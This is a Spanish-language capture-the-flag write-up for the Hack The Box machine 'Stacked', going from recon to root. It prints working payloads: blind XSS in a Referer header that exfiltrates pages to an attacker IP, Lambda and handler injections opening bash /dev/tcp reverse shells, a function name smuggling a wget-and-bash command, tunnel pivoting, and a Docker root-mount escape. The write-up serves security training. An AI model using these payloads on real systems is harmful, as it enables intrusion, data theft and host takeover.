Stacked

sudo nmap 10.129.228.28 -sS -p- -n -Pn --min-rate 5000 --open -oG allPorts -vvv
sudo nmap 10.129.228.28 -p22,80,2376 -sCV -oN targeted
echo '10.129.228.28   stacked.htb' >> /etc/hosts

El puerto 80 tiene la típica página estática.

Fuzzemos subdominios.

ffuf -u http://stacked.htb -H "Host: FUZZ.stacked.htb" -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt  -mc all -ac -t 150

Añadimos portfolio al hosts

Hay un botón de descarga de un docker-compose.yml

version: "3.3"

services:
  localstack:
    container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
    image: localstack/localstack-full:0.12.6
    network_mode: bridge
    ports:
      - "127.0.0.1:443:443"
      - "127.0.0.1:4566:4566"
      - "127.0.0.1:4571:4571"
      - "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
    environment:
      - SERVICES=serverless
      - DEBUG=1
      - DATA_DIR=/var/localstack/data
      - PORT_WEB_UI=${PORT_WEB_UI- }
      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
      - LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY- }
      - KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
      - DOCKER_HOST=unix:///var/run/docker.sock
      - HOST_TMP_FOLDER="/tmp/localstack"
    volumes:
      - "/tmp/localstack:/tmp/localstack"
      - "/var/run/docker.sock:/var/run/docker.sock"

Probamos un path traversal

GET /files/../../../../../../../../../../../etc/passwd HTTP/1.1

Probamos fuzzing con gobuster, con extensiones .php también :

process.php tiene que ver con el formulario de contacto, probamos a enviar algún XSS a ver si recibimos alguna petición.

POST /process.php HTTP/1.1
Host: portfolio.stacked.htb
Content-Length: 76
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

fullname=ts&email=test@test.com&tel=346555668333&subject=<img src=http://10.10.17.48>&message=<img src=http://10.10.17.48>

Probamos también a fuzzear /files

gobuster dir -u http://portfolio.stacked.htb/files/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 150 -x php,txt,bak,yml

Además también estaba el puerto 2376 de docker, que es el típico puerto de docker pero TLS.

Probamos a conectarnos pero parece ser que el servidor nos pide un certificado que no tenemos

curl -k https://10.129.228.28:2376/containers/json -vI
* TLSv1.3 (IN), TLS handshake, Request CERT (13):

Probamos a fuzzear stacked.htb

En /sass no parece haber nada.

Volvemos al formulario de contactoy probamos otros payloads de XSS , con algunos payloads nos tira este error:

{"success":false,"error":"XSS detected!"}

Vamos a tratar de bypassear este filtro:

Primero tratamos de fuzzear por caracteres : All printable ASCII for Burp Intruder #python >>> import strings >>> for i in string.printable: ... print i · GitHub y parece ser que están todos permitidos.

A continuación fuzzeamos por etiquetas y hay unas cuantas que nos detectan Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy

A continuación fuzzeamos por eventos usando la etiqueta <svg> por ejemplo

Lamentablemente todos nos tiran error.

La idea sería ir iterando sobre todas las etiquetas que no dan error e ir metiendo al intruder los payloads a ver si hay algún payload que no tire error.

Tras varias pruebas encontramos que todos los eventos se están bloqueando, más que nada se está buscando on dentro de la etiqueta

<img on>

Además otras formas de ejecutar sin eventos parecen fallar, por ejemplo

javascript:

Probamos ya cosas más avanzadas sin éxito:

<IMG SRC=java\0script:fetch('http://10.10.14.33/test.png')>

Probamos en la cabecera Referer si hay suerte

Referer: "><img src='http://10.10.14.33/test.png'>
python3 -m http.server 80

Y efectivamente a los 2 minutos recibimos una petición, se trata de un Blind XSS

Para ver más info de la petición entrante nos ponemos en escucha con netcat, en vez de con python

nc -lvnp 80
GET /test.png HTTP/1.1
Host: 10.10.14.33
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mail.stacked.htb/read-mail.php?id=2
Connection: keep-alive

Añadimos mail al /etc/hosts pero no tenemos alcance.

La idea va a ser ir a ciegas y enviarse el código fuente de la página de mail

"><script>fetch("http://10.10.14.33",{method:"POST",body:btoa(document.documentElement.outerHTML)})</script>

Después de un rato largo nos acaba llegando

Es algo así si lo cargamos desde el navegador

Probamos a leernos read-mail.php :

<script>fetch("http://mail.stacked.htb/read-mail.php").then(r=>r.text()).then(d=>fetch("http://10.10.14.33:80",{method:"POST",body:btoa(d)}))</script>

Resulta que read-mail.php es la misma que hemos capturado antes

Vamos a tratar de leer http://mail.stacked.htb/read-mail.php?id=1

"><script>fetch("http://mail.stacked.htb/read-mail.php?id=1").then(r=>r.text()).then(d=>fetch("http://10.10.14.33:80",{method:"POST",body:btoa(d)}))</script>

Vemos el siguiente correo:

Lo añadimos al hosts , parece que hay un LocalStack

curl http://s3-testing.stacked.htb/health -s
{
  "services": {
    "cloudformation": "running",
    "cloudwatch": "running",
    "dynamodb": "running",
    "dynamodbstreams": "running",
    "iam": "running",
    "sts": "running",
    "kinesis": "running",
    "lambda": "running",
    "logs": "running",
    "s3": "running",
    "apigateway": "running"
  }
}

Parece ser que no podemos listar buckets

aws s3 ls --endpoint-url http://s3-testing.stacked.htb --no-sign-request

Parece que los IAM si los podemos enumerar

aws iam get-account-authorization-details --endpoint-url http://s3-testing.stacked.htb --region eu-east-1

Pero efectivamente, como decía el correo, ni usuarios ni grupos están configurados.

Tratamos de listar el resto de servicios.

Como nos dice el correo, solo podemos correr instancias de nodo.

Podemos crear lambdas con código node-js

const { exec } = require('child_process');

exports.handler = (event, context, callback) => {
    // Comando de Reverse Shell
    const command = 'bash -c "bash -i >& /dev/tcp/10.10.14.33/4444 0>&1"';

    exec(command, (error, stdout, stderr) => {
        if (error) {
            callback(error);
            return;
        }
        callback(null, stdout);
    });
};
zip function.zip index.js
aws lambda create-function \
    --endpoint-url http://s3-testing.stacked.htb \
    --function-name shell \
    --runtime nodejs12.x \
    --handler index.handler \
    --memory-size 128 \
    --zip-file fileb://function.zip \
    --role arn:aws:iam::123456789012:role/lambda-role
nc -vlnp 4444
aws lambda invoke \
    --endpoint-url http://s3-testing.stacked.htb \
    --function-name shell \
    output.txt

Una vez dentro tratamos de listar las variables de entorno, pero no hay creds.

Escaneamos puertos del host, pero vemos lo mismo

#!/bin/bash

function ctrl_c(){
	echo -e "\n\n[!] Saliendo ..."
	tput cnorm
	exit 1
}

trap ctrl_c INT

#ip=$(hostname -I | sed 's/\.[^.]*$//')
ip=$1

#tput civis

for port in $(seq 1 65535); do
	(timeout 1 echo '' > /dev/tcp/$ip/$port) &>/dev/null && echo -e "\t[+] Puerto $port activo"
done

#tput cnorm
./portScan.sh 172.17.0.1
	[+] Puerto 22 activo
	[+] Puerto 80 activo
	[+] Puerto 2376 activo

A continuación buscamos la versión de LocalStack que habíamos sacado antes del docker-compose.yml

localstack/localstack-full:0.12.6

Buscamos vulnerabilidades para la versión:

https://www.sonarsource.com/blog/hack-the-stack-with-localstack/

Encontramos que hay un Command Injection en la interfaz web , pero no tenemos acceso a la interfaz Web desde fuera ni desde el docker de la lambda.

Solo tendremos acceso desde el Blind XSS y hay que tener en cuenta que por política CORS solo vamos a poder enviar la petición, pero no ver la respuesta, lo cuál nos sirve en este caso.

Si leemos el código vulnerable

85    @app.route('/lambda/<functionName>/code', methods=['POST'])
86    def get_lambda_code(functionName):
...
98        result = infra.get_lambda_code(func_name=functionName, env=env)
258    def get_lambda_code(func_name, retries=1, cache_time=None, env=None):
...
264        out = cmd_lambda('get-function --function-name %s' % func_name, env, cache_time)
596    def run(cmd, print_error=True, stderr=subprocess.STDOUT, env_vars=None, inherit_cwd=False, inherit_env=True):
...
613        output = subprocess.check_output(cmd, shell=True, stderr=stderr, env=env_dict, cwd=cwd)

Deducimos que del nombre de la función lambda se puede ejecutar RCE

test;touch sonarsource.txt

Si miramos el docker-compose.yml

"127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"

La interfaz de gestión está en el 8080, vamos a probar algo así

"><script>fetch("http://127.0.0.1:8080/lambda/test;ping+10.10.14.33/code",{method:"POST"}).then(r=>r.text()).then(d=>fetch("http://10.10.14.33:80",{method:"POST",body:btoa(d)}))</script>

SI recibimos un ping es que ha funcionado

sudo tcpdump -i tun0 icmp

Recibimos esta respuesta pero no recibimos un ping

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

Probamos a url encodearlo de esta forma:

"><script>fetch("http://127.0.0.1:8080/lambda/test;ping%20-c%202%2010.10.14.33/code",{method:"POST"}).then(r=>r.text()).then(d=>fetch("http://10.10.14.33:80",{method:"POST",body:btoa(d)}))</script>

Después de leer un poco más resulta que no tenemos que pasar el nombre de la función directamente a la petición POST, sino que tenemos que crear la función y cuando la interfaz web 8080 se cargue entonces se pasará al código vulnerable:
El \{$IFS} es un separador universal para linux y para que llegue intacto hay que ponerle la \

aws lambda create-function \
    --endpoint-url http://s3-testing.stacked.htb \
    --function-name "api;wget\${IFS}10.10.14.33/exploit.sh;bash\${IFS}exploit.sh" \
    --runtime nodejs12.x \
    --handler index.handler \
    --memory-size 128 \
    --zip-file fileb://function.zip \
    --role arn:aws:iam::123456789012:role/lambda-role
echo '/bin/bash -i >& /dev/tcp/10.10.14.33/4444 0>&1' > exploit.sh

Y ahora habría que hacer que el usuario acceda a la interfaz web

Referer: "><script>document.location="http://127.0.0.1:8080"</script>

Normalizamos la shell

Y somos el usuario localstack y estamos en un docker

Tratamos de listar variables de entorno y buscar alguna carpeta que se llame .aws

find / -type d -name ".aws" 2>/dev/null

Como hay muchos puertos abiertos nos cargamos el ligolo

go build -o agent /cmd/agent/main.go

Nos lo llevamos a la máquina

sudo ip tuntap add user <Your Username> mode tun ligolo

sudo ip link set ligolo up
ligolo-proxy -selfcert

Tenemos que compilar el agente estáticamente porque sino no encuentra las librerías

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o agent -ldflags "-s -w" cmd/agent/main.go
./agent -connect 10.10.14.33:11601 -ignore-cert

Seleccionamos start

sudo ip route add 172.17.0.0/16 dev ligolo

En el 8081

Pero todo parecen ser rabbit holes

Si creamos una nueva lambda y la ejecutamos se ve este comando

2026/01/22 16:37:47 CMD: UID=0     PID=1141   | /bin/sh -c CONTAINER_ID="$(docker create -i   -e DOCKER_LAMBDA_USE_STDIN="$DOCKER_LAMBDA_USE_STDIN" -e LOCALSTACK_HOSTNAME="$LOCALSTACK_HOSTNAME" -e EDGE_PORT="$EDGE_PORT" -e _HANDLER="$_HANDLER" -e AWS_LAMBDA_FUNCTION_TIMEOUT="$AWS_LAMBDA_FUNCTION_TIMEOUT" -e AWS_LAMBDA_FUNCTION_NAME="$AWS_LAMBDA_FUNCTION_NAME" -e AWS_LAMBDA_FUNCTION_VERSION="$AWS_LAMBDA_FUNCTION_VERSION" -e AWS_LAMBDA_FUNCTION_INVOKED_ARN="$AWS_LAMBDA_FUNCTION_INVOKED_ARN" -e AWS_LAMBDA_COGNITO_IDENTITY="$AWS_LAMBDA_COGNITO_IDENTITY" -e NODE_TLS_REJECT_UNAUTHORIZED="$NODE_TLS_REJECT_UNAUTHORIZED"   --rm "lambci/lambda:nodejs12.x" "index.handler")";docker cp "/tmp/localstack/zipfile.4e5524b8/." "$CONTAINER_ID:/var/task"; docker start -ai "$CONTAINER_ID"; 

El handler es también vulnerable a Code Injection

aws lambda --endpoint=http://s3-testing.stacked.htb create-function --region eu-west-1 --function-name "testfunction2" --runtime nodejs8.10 --handler 'lambda.apiHandler $(/bin/bash -c "bash -i &>/dev/tcp/10.10.14.33/9999 0>&1")' --memory-size 128 --zip-file fileb://api-handler.zip --role arn:aws:iam::123456:role/irrelevant
aws lambda --endpoint=http://s3-testing.stacked.htb invoke --region eu-west-1 --function-name "testfunction2" out

Normalizamos la shell

Podemos crearnos un nuevo contenedor que tenga montado /

docker run -v /:/mnt --entrypoint sh -it 0601ea177088

Y leer la flag de root.